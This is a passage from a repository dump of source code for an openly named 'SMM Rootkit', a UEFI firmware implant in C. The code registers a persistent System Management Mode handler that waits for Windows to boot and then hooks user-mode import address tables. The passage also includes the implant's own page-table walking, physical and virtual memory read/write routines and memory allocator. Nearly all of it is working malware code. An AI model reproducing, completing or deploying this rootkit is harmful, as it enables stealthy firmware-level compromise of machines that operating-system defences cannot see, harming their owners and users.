 }\n\n  // normal allocation for normal entries\n  newEntry = (PMemAllocEntry_t)((UINT8 *)curr + curr->size);\n  newEntry->next = curr->next;\n  newEntry->prev = curr;\n  newEntry->size = size + 24;\n  curr->next = newEntry;\n  memAllocated += size + 24;\n  return newEntry->data;\n}\n\nVOID free(VOID *address)\n{\n  // sanity check\n  if (!memPoolInitialized)\n  {\n    return;\n  }\n\n  PMemAllocEntry_t curr = memPool;\n\n  while (curr->next)\n  {\n    curr = curr->next;\n    if (curr->data == address)\n    {\n      if (curr->next)\n      {\n        curr->next->prev = curr->prev;\n      }\n      curr->prev->next = curr->next;\n      curr->prev = NULL;\n      curr->next = NULL;\n      memAllocated -= curr->size + 24;\n      curr->size = 0;\n    }\n  }\n}"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemManager.h",
    "content": "#ifndef __smmrootkit_memory_manager_h__\n#define __smmrootkit_memory_manager_h__\n\n#include <Uefi.h>\n#include <Base.h>\n#include <Protocol/SmmBase2.h>\n#include <Library/MemoryAllocationLib.h>\n#include \"serial.h\"\n\n/*\n * A very simple malloc implementation\n * \n * The dynamically allocatable memory is first initialized with \n * gSmst2->SmmAllocatePages, then given as requested, until the \n * memory in firstly allocated efi runtime mem runs out\n * \n * The implementation uses a simple linked list, with first entry \n * starting from byte 0 of the allocated efi memory page area.\n * \n * If area[0].next = nullptr, there are no allocs currently. \n * If area[0] = &area[0], there is at least one allocation\n * PMemAllocEntry_t->next points to the next entry, if it is null, \n * there are no more entries in the list.\n */\n\ntypedef struct memallocentry MemAllocEntry_t, *PMemAllocEntry_t;\n\n#ifdef __GNUC__\nstruct memallocentry\n{\n  PMemAllocEntry_t prev;\n  PMemAllocEntry_t next;\n  UINT64 size;\n  UINT8 data[];\n} __attribute__((packed));\n#endif\n\n#ifdef _MSC_VER\n#define PACK(__Declaration__) __pragma(pack(push, 1)) __Declaration__ __pragma(pack(pop))\nPACK(struct memallocentry {\n  PMemAllocEntry_t prev;\n  PMemAllocEntry_t next;\n  UINT64 size;\n  UINT8 data[];\n});\n#endif\n\n/*\n * Initializes the memory manager with pages number of pages.\n * @return TRUE if succeeded, FALSE otherwise\n */\nBOOLEAN InitMemManager(UINT32 pages);\n\n/*\n * Allocates number of pages, returns the physical address to allocated memory\n */\nVOID *palloc(UINT32 pages);\n\n/*\n * Frees number of pages from the physical address allocated by palloc\n */\nVOID pfree(VOID *address, UINT32 pages);\n\n/*\n * Tries to dynamically allocate memory\n * \n * @return pointer to allocated memory if succeeded, NULL otherwise\n */\nVOID *malloc(UINT32 size);\n\n/*\n * Tries to free a memory address from before dynamically \n * allocated memory\n */\nVOID free(VOID *address);\n\n/*\n * Returns the total amount of bytes allocated from the pool\n * \n */\nUINT64 GetMemAllocated();\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/Memory.c",
    "content": "#include \"Memory.h\"\n\n// from SMMRootkit.c\nextern EFI_SMM_SYSTEM_TABLE2 *gSmst2;\n\nBOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose)\n{\n  // Check if the address ranges are in allowed range\n  if ((IsAddressValid((UINT64)src) == FALSE || IsAddressValid((UINT64)(src + n - 1)) == FALSE))\n  {\n    SerialPrintString(\"[p_memCpy] Aborted duo to disallowed memory range \\r\\n\");\n\n    return FALSE;\n  }\n\n  // Typecast src and dest addresses to (char *)\n  CHAR8 *csrc = (char *)src;\n  CHAR8 *cdest = (char *)dest;\n\n  // Copy contents of src[] to dest[]\n  for (INT32 i = 0; i < n; i++)\n    cdest[i] = csrc[i];\n\n  return TRUE;\n}\n\nUINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose)\n{\n  if (address == 0 && verbose)\n  {\n    SerialPrintStringDebug(\"[VTOP] address is 0 \\r\\n\");\n    return 0;\n  }\n\n  if (directoryBase == 0 && verbose)\n  {\n    SerialPrintStringDebug(\"[VTOP] directoryBase is 0 \\r\\n\");\n    return 0;\n  }\n\n  directoryBase &= ~0xf;\n\n  UINT64 pageOffset = address & ~(~0ul << PAGE_OFFSET_SIZE);\n  UINT64 pte = ((address >> 12) & (0x1ffll));\n  UINT64 pt = ((address >> 21) & (0x1ffll));\n  UINT64 pd = ((address >> 30) & (0x1ffll));\n  UINT64 pdp = ((address >> 39) & (0x1ffll));\n\n  if (verbose)\n  {\n    SerialPrintString(\"Dirbase:  \");\n    SerialPrintNumber(directoryBase, 16);\n    SerialPrintString(\" VA \");\n    SerialPrintNumber(address, 16);\n    SerialPrintString(\" PO:  \");\n    SerialPrintNumber(pageOffset, 16);\n    SerialPrintString(\" PTE \");\n    SerialPrintNumber(pte, 16);\n    SerialPrintString(\" PT \");\n    SerialPrintNumber(pt, 16);\n    SerialPrintString(\" PD \");\n    SerialPrintNumber(pd, 16);\n    SerialPrintString(\" PDP \");\n    SerialPrintNumber(pdp, 16);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  UINT64 pdpe = 0;\n  p_memCpy((UINT64)&pdpe, directoryBase + 8 * pdp, sizeof(UINT64), verbose);\n\n  if (verbose)\n  {\n    SerialPrintString(\"Dump PDPE at \");\n    SerialPrintNumber(directoryBase + 8 * pdp, 16);\n    SerialPrintString(\"results \");\n    SerialPrintNumber(pdpe, 16);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  if (~pdpe & 1)\n    return 0;\n\n  UINT64 pde = 0;\n  p_memCpy((UINT64)&pde, (UINT64)(pdpe & PMASK2) + 8 * pd, sizeof(UINT64), verbose);\n\n  if (verbose)\n  {\n    SerialPrintString(\"Dump pde at \");\n    SerialPrintNumber((pdpe & PMASK2) + 8 * pd, 16);\n    SerialPrintString(\"results \");\n    SerialPrintNumber(pde, 16);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  if (~pde & 1)\n    return 0;\n\n  /* 1GB large page, use pde's 12-34 bits */\n  if (pde & 0x80)\n    return (pde & (~0ull << 42 >> 12)) + (address & ~(~0ull << 30));\n\n  UINT64 pteAddr = 0;\n  p_memCpy((UINT64)&pteAddr, (UINT64)(pde & PMASK2) + 8 * pt, sizeof(UINT64), verbose);\n\n  if (verbose)\n  {\n    SerialPrintString(\"Dump pteAddr at \");\n    SerialPrintNumber((pde & PMASK2) + 8 * pt, 16);\n    SerialPrintString(\"results \");\n    SerialPrintNumber(pteAddr, 16);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  if (~pteAddr & 1)\n    return 0;\n\n  /* 2MB large page */\n  if (pteAddr & 0x80)\n    return (pteAddr & PMASK) + (address & ~(~0ull << 21));\n\n  p_memCpy((UINT64)&address, (UINT64)(pteAddr & PMASK) + 8 * pte, sizeof(UINT64), verbose);\n\n  address = address & PMASK;\n\n  if (verbose)\n  {\n    SerialPrintString(\"Dump address at \");\n    SerialPrintNumber((pteAddr & PMASK) + 8 * pte, 16);\n    SerialPrintString(\"results \");\n    SerialPrintNumber(address, 16);\n    SerialPrintString(\"\\r\\n\");\n  }\n\n  if (!address)\n    return 0;\n\n  // UINT64 tempPhys = address & 0xFFFFFFFFFFFFF000;\n  // UINT64 physAddress = tempPhys + virtOffs;\n\n  return address + pageOffset;\n}\n\n// Declaration for ASM func\nUINT64 GetCR3(VOID);\n\nBOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose)\n{\n  BOOLEAN result, fFirstRun;\n  UINT64 PML4[512], PDPT[512], PD[512], PT[512];\n  UINT64 PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff;\n  UINT64 qwA;\n  UINT64 qwPageTableData;\n\n  UINT64 Cr3 = GetCR3(); // Get Cr3 from SMM Environment\n\n  SerialPrintStringDebug(\"[PTOV] Got Cr3, dumping PML4 \\r\\n\");\n\n  *PML4 = Cr3 & 0x0000fffffffff000;\n\n  qwA = 0;\n  fFirstRun = TRUE;\n  while (qwA || fFirstRun)\n  {\n    fFirstRun = FALSE;\n    if (qwA & 0xffff800000000000)\n    {\n      qwA |= 0xffff800000000000;\n    }\n    if (PML4_idx != (0x1ff & (qwA >> 39))) // PML4\n    {\n      PML4_idx = 0x1ff & (qwA >> 39);\n      qwPageTableData = PML4[PML4_idx];\n      if ((qwPageTableData & 0x81) != 0x01)\n      {\n        qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000;\n        continue;\n      }\n      p_memCpy((UINT64)PDPT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);\n\n      PDPT_idx = 0xfff;\n      PD_idx = 0xfff;\n      PT_idx = 0xfff;\n    }\n\n    if (PDPT_idx != (0x1ff & (qwA >> 30))) // PDPT(Page-Directory Pointer Table)\n    {\n      PDPT_idx = 0x1ff & (qwA >> 30);\n      qwPageTableData = PDPT[PDPT_idx];\n      if ((qwPageTableData & 0x81) != 0x01)\n      {\n        qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;\n        continue;\n      }\n      p_memCpy((UINT64)PD, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);\n\n      if (!result)\n      {\n        qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000;\n        continue;\n      }\n      PD_idx = 0xfff;\n      PT_idx = 0xfff;\n    }\n\n    if (PD_idx != (0x1ff & (qwA >> 21)))\n    { // PD (Page Directory)\n      PD_idx = 0x1ff & (qwA >> 21);\n      qwPageTableData = PD[PD_idx];\n      if (((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000)))\n      { // map 2MB page\n        *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff);\n        if (pqwPTE)\n        {\n          *pqwPTE = PD[PD_idx];\n        }\n        if (pqwPDE)\n        {\n          *pqwPDE = PD[PD_idx];\n        }\n        if (pqwPDPTE)\n        {\n          *pqwPDPTE = PDPT[PDPT_idx];\n        }\n        if (pqwPML4E)\n        {\n          *pqwPML4E = PML4[PML4_idx];\n        }\n        return TRUE;\n      }\n      if ((qwPageTableData & 0x81) != 0x01)\n      {\n        qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;\n        continue;\n      }\n      p_memCpy((UINT64)PT, qwPageTableData & 0x0000fffffffff000, 0x1000, verbose);\n\n      if (!result)\n      {\n        qwA = (qwA + 0x0000000000200000) & 0xffffffffffE00000;\n        continue;\n      }\n      PT_idx = 0xfff;\n    }\n\n    if (PT_idx != (0x1ff & (qwA >> 12)))\n    { // PT (Page Table)\n      PT_idx = 0x1ff & (qwA >> 12);\n      qwPageTableData = PT[PT_idx];\n      if (((qwPageTableData & 0x01) == 0x01) && ((qwPageTableData & 0x0000fffffffff000) == (qwAddrPhys & 0x0000fffffffff000)))\n      {\n        *pqwAddrVirt = qwA + (qwAddrPhys & 0xfff);\n        if (pqwPTE)\n        {\n          *pqwPTE = PT[PT_idx];\n        }\n        if (pqwPDE)\n        {\n          *pqwPDE = PD[PD_idx];\n        }\n        if (pqwPDPTE)\n        {\n          *pqwPDPTE = PDPT[PDPT_idx];\n        }\n        if (pqwPML4E)\n        {\n          *pqwPML4E = PML4[PML4_idx];\n        }\n        return TRUE;\n      }\n      qwA = (qwA + 0x0000000000001000) & 0xfffffffffffff000;\n      continue;\n    }\n  }\n  return FALSE;\n}\n\nBOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)\n{\n  // Translate to physical\n  UINT64 pDest = VTOP(dest, directoryBase, FALSE);\n\n  if (pDest == 0)\n  {\n    return FALSE;\n  }\n\n  // Read physical\n  return p_memCpy(pDest, src, n, verbose);\n}\n\nBOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)\n{\n  UINT64 curr_vAddr = src;\n  UINT64 read = 0;\n\n  while (n > 0)\n  {\n    UINT64 nextPage = (curr_vAddr + 0x1000) & ~0xfff;\n    UINT64 to_read = nextPage - curr_vAddr;\n\n    // if it's the \"last\" read\n    if (n < to_read)\n      to_read = n;\n\n    // Translate to physical\n    UINT64 pSrc = VTOP(curr_vAddr, directoryBase, FALSE);\n    if (pSrc == 0)\n    {\n      return FALSE;\n    }\n    // read physical\n    p_memCpy(dest + read, pSrc, to_read, verbose);\n    n -= to_read;\n    read += to_read;\n    curr_vAddr += to_read;\n  }\n  return TRUE;\n}\n\nBOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose)\n{\n  // Translate to physical\n  UINT64 pSrc = VTOP(src, directoryBase, FALSE);\n\n  if (pSrc == 0)\n  {\n    return FALSE;\n  }\n\n  // Read physical\n  return p_memCpy(dest, pSrc, n, verbose);\n}\n"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/Memory.h",
    "content": "#ifndef __smmrootkit_memory_h__\n#define __smmrootkit_memory_h__\n\n#include <Uefi.h>\n#include <Protocol/SmmBase2.h>\n\n#include \"MemoryMapUEFI.h\" // IsAddressValid\n#include \"serial.h\"\n\n/*\n * We use windows size of PAGE_OFFSET_SIZE\n * and PMASK2\n */\n#include \"windows.h\"\n\ntypedef struct _Cache\n{\n  UINT64 vAddress;\n  UINT64 pAddress;\n} Cache, PCache;\n\n#ifdef __GNUC__\ntypedef UINT32 size_t;\n#endif\n\nBOOLEAN p_memCpy(UINT64 dest, UINT64 src, size_t n, BOOLEAN verbose);\n\nUINT64 VTOP(UINT64 address, UINT64 directoryBase, BOOLEAN verbose);\n\nBOOLEAN PTOV(UINT64 qwAddrPhys, UINT64 *pqwAddrVirt, UINT64 *pqwPTE, UINT64 *pqwPDE, UINT64 *pqwPDPTE, UINT64 *pqwPML4E, BOOLEAN verbose);\n\nBOOLEAN v_memWrite(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);\n\nBOOLEAN v_memReadMultiPage(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);\n\nBOOLEAN v_memRead(UINT64 dest, UINT64 src, size_t n, UINT64 directoryBase, BOOLEAN verbose);\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemoryMapUEFI.c",
    "content": "#include \"MemoryMapUEFI.h\"\n\nEFI_EXIT_BOOT_SERVICES gOrigExitBootServices;\nEFI_MEMORY_DESCRIPTOR *mUefiMemoryMap;\nUINTN mUefiMemoryMapSize;\nUINTN mUefiDescriptorSize;\nextern EFI_BOOT_SERVICES *lBS; // From SMMRootkit.c\n\n#define NEXT_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \\\n  ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) + (Size)))\n\n#define PREVIOUS_MEMORY_DESCRIPTOR(MemoryDescriptor, Size) \\\n  ((EFI_MEMORY_DESCRIPTOR *)((UINT8 *)(MemoryDescriptor) - (Size)))\n\nBOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR *MemoryMap)\n{\n  switch (MemoryMap->Type)\n  {\n    //case EfiLoaderCode:\n    //case EfiLoaderData:\n    //case EfiBootServicesCode:\n    //case EfiBootServicesData:\n    //case EfiUnusableMemory:\n    //case EfiACPIReclaimMemory:\n    return TRUE;\n  default:\n    return FALSE;\n  }\n}\n\nSTATIC BOOLEAN CopyMemUnsafe(UINT64 dest, UINT64 src, UINT32 n, BOOLEAN verbose)\n{\n  // Typecast src and dest addresses to (char *)\n  CHAR8 *csrc = (CHAR8 *)src;\n  CHAR8 *cdest = (CHAR8 *)dest;\n\n  // Copy contents of src[] to dest[]\n  for (UINT32 i = 0; i < n; i++)\n    cdest[i] = csrc[i];\n\n  return TRUE;\n}\n\nSTATIC VOID SortMemoryMap(\n    IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap,\n    IN UINTN MemoryMapSize,\n    IN UINTN DescriptorSize)\n{\n  EFI_MEMORY_DESCRIPTOR *MemoryMapEntry;\n  EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry;\n  EFI_MEMORY_DESCRIPTOR *MemoryMapEnd;\n  EFI_MEMORY_DESCRIPTOR TempMemoryMap;\n\n  MemoryMapEntry = MemoryMap;\n  NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);\n  MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + MemoryMapSize);\n  while (MemoryMapEntry < MemoryMapEnd)\n  {\n    while (NextMemoryMapEntry < MemoryMapEnd)\n    {\n      if (MemoryMapEntry->PhysicalStart > NextMemoryMapEntry->PhysicalStart)\n      {\n        CopyMem(&TempMemoryMap, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));\n        CopyMem(MemoryMapEntry, NextMemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));\n        CopyMem(NextMemoryMapEntry, &TempMemoryMap, sizeof(EFI_MEMORY_DESCRIPTOR));\n      }\n\n      NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);\n    }\n\n    MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);\n    NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);\n  }\n}\n\nSTATIC VOID MergeMemoryMapForNotPresentEntry(\n    IN OUT EFI_MEMORY_DESCRIPTOR *MemoryMap,\n    IN OUT UINTN *MemoryMapSize,\n    IN UINTN DescriptorSize)\n{\n  EFI_MEMORY_DESCRIPTOR *MemoryMapEntry;\n  EFI_MEMORY_DESCRIPTOR *MemoryMapEnd;\n  UINT64 MemoryBlockLength;\n  EFI_MEMORY_DESCRIPTOR *NewMemoryMapEntry;\n  EFI_MEMORY_DESCRIPTOR *NextMemoryMapEntry;\n\n  MemoryMapEntry = MemoryMap;\n  NewMemoryMapEntry = MemoryMap;\n  MemoryMapEnd = (EFI_MEMORY_DESCRIPTOR *)((UINT8 *)MemoryMap + *MemoryMapSize);\n  while ((UINTN)MemoryMapEntry < (UINTN)MemoryMapEnd)\n  {\n    CopyMem(NewMemoryMapEntry, MemoryMapEntry, sizeof(EFI_MEMORY_DESCRIPTOR));\n    NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);\n\n    do\n    {\n      MemoryBlockLength = (UINT64)(EFI_PAGES_TO_SIZE((UINTN)MemoryMapEntry->NumberOfPages));\n      if (((UINTN)NextMemoryMapEntry < (UINTN)MemoryMapEnd) && ((MemoryMapEntry->PhysicalStart + MemoryBlockLength) == NextMemoryMapEntry->PhysicalStart))\n      {\n        MemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages;\n        if (NewMemoryMapEntry != MemoryMapEntry)\n        {\n          NewMemoryMapEntry->NumberOfPages += NextMemoryMapEntry->NumberOfPages;\n        }\n\n        NextMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);\n        continue;\n      }\n      else\n      {\n        MemoryMapEntry = PREVIOUS_MEMORY_DESCRIPTOR(NextMemoryMapEntry, DescriptorSize);\n        break;\n      }\n    } while (TRUE);\n\n    MemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(MemoryMapEntry, DescriptorSize);\n    NewMemoryMapEntry = NEXT_MEMORY_DESCRIPTOR(NewMemoryMapEntry, DescriptorSize);\n  }\n\n  *MemoryMapSize = (UINTN)NewMemoryMapEntry - (UINTN)MemoryMap;\n\n  return;\n}\n\nBOOLEAN InitUefiMemoryMap()\n{\n  UINTN MemoryMapSize;\n  EFI_MEMORY_DESCRIPTOR *MemoryMap;\n  UINTN LocalMapKey;\n  UINT32 DescriptorVersion;\n  MemoryMapSize = 0;\n  MemoryMap = NULL;\n\n  EFI_STATUS Status;\n\n  Status = lBS->GetMemoryMap(\n      &MemoryMapSize,\n      MemoryMap,\n      &LocalMapKey,\n      &mUefiDescriptorSize,\n      &DescriptorVersion);\n\n  do\n  {\n    Status = lBS->AllocatePool(EfiBootServicesData, MemoryMapSize, (VOID **)&MemoryMap);\n\n    if (MemoryMap == NULL)\n    {\n      return FALSE;\n    }\n\n    Status = lBS->GetMemoryMap(\n        &MemoryMapSize,\n        MemoryMap,\n        &LocalMapKey,\n        &mUefiDescriptorSize,\n        &DescriptorVersion);\n    if (EFI_ERROR(Status))\n    {\n      lBS->FreePool(MemoryMap);\n      MemoryMap = NULL;\n    }\n  } while (Status == EFI_BUFFER_TOO_SMALL);\n\n  if (MemoryMap == NULL)\n    return FALSE;\n\n  SortMemoryMap(MemoryMap, MemoryMapSize, mUefiDescriptorSize);\n  MergeMemoryMapForNotPresentEntry(MemoryMap, &MemoryMapSize, mUefiDescriptorSize);\n\n  mUefiMemoryMapSize = MemoryMapSize;\n  EFI_PHYSICAL_ADDRESS NewMemoryMap;\n  Status = lBS->AllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &NewMemoryMap);\n  CopyMemUnsafe(NewMemoryMap, (UINT64)MemoryMap, MemoryMapSize, FALSE);\n  mUefiMemoryMap = (EFI_MEMORY_DESCRIPTOR *)NewMemoryMap;\n  lBS->FreePool(MemoryMap);\n\n  return TRUE;\n}\n\nBOOLEAN IsAddressValid(UINT64 address)\n{\n  EFI_MEMORY_DESCRIPTOR *MemoryMap;\n  UINTN MemoryMapEntryCount;\n  UINTN Index;\n\n  if (mUefiMemoryMap != NULL)\n  {\n    MemoryMap = mUefiMemoryMap;\n    MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize;\n\n    for (Index = 0; Index < MemoryMapEntryCount; Index++)\n    {\n      if ((address >= MemoryMap->PhysicalStart) && (address < MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages)))\n      {\n        return TRUE;\n      }\n      MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize);\n    }\n  }\n  return FALSE;\n}\n\nEFI_MEMORY_DESCRIPTOR *GetUefiMemoryMap()\n{\n  return mUefiMemoryMap;\n}\n\nVOID ShowMemoryMap()\n{\n  EFI_MEMORY_DESCRIPTOR *MemoryMap;\n  UINTN MemoryMapEntryCount;\n  UINTN Index;\n\n  if (mUefiMemoryMap != NULL)\n  {\n    MemoryMap = mUefiMemoryMap;\n    MemoryMapEntryCount = mUefiMemoryMapSize / mUefiDescriptorSize;\n\n    for (Index = 0; Index < MemoryMapEntryCount; Index++)\n    {\n      //SerialPrintString(\"Map: \");\n      //SerialPrintNumber(Index, 10);\n      //SerialPrintString(\"\\r\\n Type: \");\n      //SerialPrintNumber(MemoryMap->Type, 10);\n      //SerialPrintString(\"\\r\\n PhysStart: \");\n      //SerialPrintNumber(MemoryMap->PhysicalStart, 16);\n      //SerialPrintString(\" PhysEnd: \");\n      //SerialPrintNumber(MemoryMap->PhysicalStart + EFI_PAGES_TO_SIZE((UINTN)MemoryMap->NumberOfPages), 16);\n      //SerialPrintString(\"\\r\\n\\r\\n\");\n\n      MemoryMap = NEXT_MEMORY_DESCRIPTOR(MemoryMap, mUefiDescriptorSize);\n    }\n  }\n}"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/MemoryMapUEFI.h",
    "content": "#ifndef __smmrootkit_mm_uefi_h__\n#define __smmrootkit_mm_uefi_h__\n\n#include <Uefi.h>\n#include <Library/BaseMemoryLib.h>\n\n\n\nBOOLEAN IsUefiPageNotPresent(IN EFI_MEMORY_DESCRIPTOR  *MemoryMap);\n\n\nBOOLEAN InitUefiMemoryMap();\n\n\nBOOLEAN IsAddressValid(UINT64 address);\n\n\nEFI_MEMORY_DESCRIPTOR* GetUefiMemoryMap();\n\n\nVOID ShowMemoryMap();\n\n\n#endif"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/SMMRootkit.c",
    "content": "﻿// Basic UEFI Libraries\n#include <Uefi.h>\n\n// Protocols\n#include <Protocol/SmmBase2.h>\n\n// Our includes\n#include \"MemoryMapUEFI.h\"\n#include \"TimerRTC.h\"\n#include \"serial.h\"\n#include \"WinUmdIATHook.h\"\n#include \"Memory.h\"\n#include \"WinTools.h\"\n\nEFI_SMM_SYSTEM_TABLE2 *gSmst2 = NULL;\n\n// UEFI Tables (will be gone after exiting DXE stage)\nEFI_SYSTEM_TABLE *lST = NULL;\nEFI_BOOT_SERVICES *lBS = NULL;     // used by MemoryMapUEFI.c\nEFI_RUNTIME_SERVICES *lRT = NULL;\n\n// NTKernelTools.c\nextern WinCtx *winGlobal;\n\n// System initialization vars\nUINT32 SystemStartTime;\nUINT32 SystemUptime;\nBOOLEAN SystemInitOS;\n\nVOID SmmCallHandle()\n{\n  if (!SystemInitOS)\n  {\n    // try to grab the windows Context\n    SystemInitOS = InitGlobalWindowsContext();\n    // give more time if it still failed\n    if (!SystemInitOS)\n    {\n      SystemStartTime = SystemUptime;\n      return;\n    }\n  }\n\n  // if the context has been initialized\n  WindowsUmdIATHook();\n\n  return;\n}\n\nEFI_STATUS EFIAPI SmmHandler(IN EFI_HANDLE DispatchHandle, IN CONST VOID *Context OPTIONAL, IN OUT VOID *CommBuffer OPTIONAL, IN OUT UINTN *CommBufferSize OPTIONAL)\n{\n  // if the OS has not been initialized\n  if (!SystemInitOS)\n  {\n    // count if the OS SHOULD be initialized\n    UINT16 TimeSinceLastSMI = CmosGetCurrentTime();\n\n    // Did we overflow? This happens once every hour\n    if (TimeSinceLastSMI < SystemUptime)\n      SystemUptime += TimeSinceLastSMI;\n    else\n      SystemUptime = TimeSinceLastSMI;\n\n    // ctx not initialized and system hasn't booted completely\n    if (SystemUptime - SystemStartTime < 10)\n    {\n      return EFI_SUCCESS;\n    }\n  }\n\n  SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);\n  SmmCallHandle();\n  return EFI_SUCCESS;\n}\n\nEFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE *SystemTable)\n{\n  // Write to serial port\n  SerialPortInitialize(SERIAL_PORT_0, SERIAL_BAUDRATE);\n  SerialPrintString(\"\\r\\n\");\n  SerialPrintString(\"--------------------------------------------\\r\\n\");\n  SerialPrintString(\"|                                          |\\r\\n\");\n  SerialPrintString(\"|          S M M    R O O T K I T          |\\r\\n\");\n  SerialPrintString(\"|                                          |\\r\\n\");\n  SerialPrintString(\"|       shoutout to    rain, Cr4sh,        |\\r\\n\");\n  SerialPrintString(\"|   ufrisk, Heep042, authors of LongKit    |\\r\\n\");\n  SerialPrintString(\"|                                          |\\r\\n\");\n  SerialPrintString(\"--------------------------------------------\\r\\n\");\n  SerialPrintString(\"\\r\\n\");\n\n  // Save the system tables etc. in global variable for further usage (currently only lBS used)\n  lST = SystemTable;\n  lBS = SystemTable->BootServices;\n  lRT = SystemTable->RuntimeServices;\n\n  EFI_STATUS res;\n  EFI_SMM_BASE2_PROTOCOL *SmmBase2;\n\n  // lookup the SmmBase2 protocol by its GUID\n  EFI_GUID SmmBase2Guid = EFI_SMM_BASE2_PROTOCOL_GUID;\n  if ((res = SystemTable->BootServices->LocateProtocol(&SmmBase2Guid, NULL, (void **)&SmmBase2)) != EFI_SUCCESS)\n  {\n    SerialPrintString(\"Could not locate SmmBase2 protocol!\\r\\n\");\n    return res;\n  }\n\n  // get EFI_SMM_SYSTEM_TABLE2 in global var\n  if ((res = SmmBase2->GetSmstLocation(SmmBase2, &gSmst2)) != EFI_SUCCESS)\n  {\n    SerialPrintString(\"Could not locate SMST!\\r\\n\");\n    return res;\n  }\n\n  // Register SMI Root Handler, discard the returning handle (we never unload the handler)\n  EFI_HANDLE hSmmHandler;\n  if ((res = gSmst2->SmiHandlerRegister(&SmmHandler, NULL, &hSmmHandler)) != EFI_SUCCESS)\n  {\n    return res;\n  }\n\n  // Initialize the virtual memory map for UEFI\n  SerialPrintStringDebug(\"Initializing UEFI Memory Map \\r\\n\");\n  if (!InitUefiMemoryMap())\n  {\n    SerialPrintString(\"Failed dumping Memory Map for UEFI \\r\\n\");\n    return EFI_ERROR_MAJOR;\n  }\n  SerialPrintStringDebug(\"Successfully dumped Memory Map \\r\\n\");\n\n  SerialPrintStringDebug(\"Memory Map at: 0x\");\n  SerialPrintNumberDebug((UINT64)GetUefiMemoryMap(), 16);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  // Allocate memory for windows context.\n  // This is allocated straight as a page\n  // to prevent our cheap malloc trashing it\n  EFI_PHYSICAL_ADDRESS physAddr;\n  gSmst2->SmmAllocatePages(AllocateAnyPages, EfiRuntimeServicesData, 1, &physAddr);\n  winGlobal = (WinCtx *)physAddr;\n  SerialPrintStringDebug(\"WinGlobal: 0x\");\n  SerialPrintNumberDebug((UINT64)winGlobal, 16);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  // Set the start time of the PC\n  SystemStartTime = CmosGetCurrentTime();\n  SystemUptime = SystemStartTime;\n  SerialPrintStringDebug(\"Start time was: \");\n  SerialPrintNumberDebug(SystemStartTime, 10);\n  SerialPrintStringDebug(\"\\r\\n\");\n\n  // Initialize our own heap with some memory to be used\n  if (InitMemManager(100))\n  {\n    SerialPrintStringDebug(\"memory manager successfully initialized!\\r\\n\");\n  }\n\n  // Initialize the os ctx value, so no useless\n  // probing is done while the OS hasn't even booted\n  SystemInitOS = FALSE;\n\n  // Initialize the UMD IAT Hooking state\n  InitWindowsUmdIATHook();\n\n  return EFI_SUCCESS;\n}"
  },
  {
    "path": "SMM Rootkit/SMMRootkit/SMMRootkit.inf",
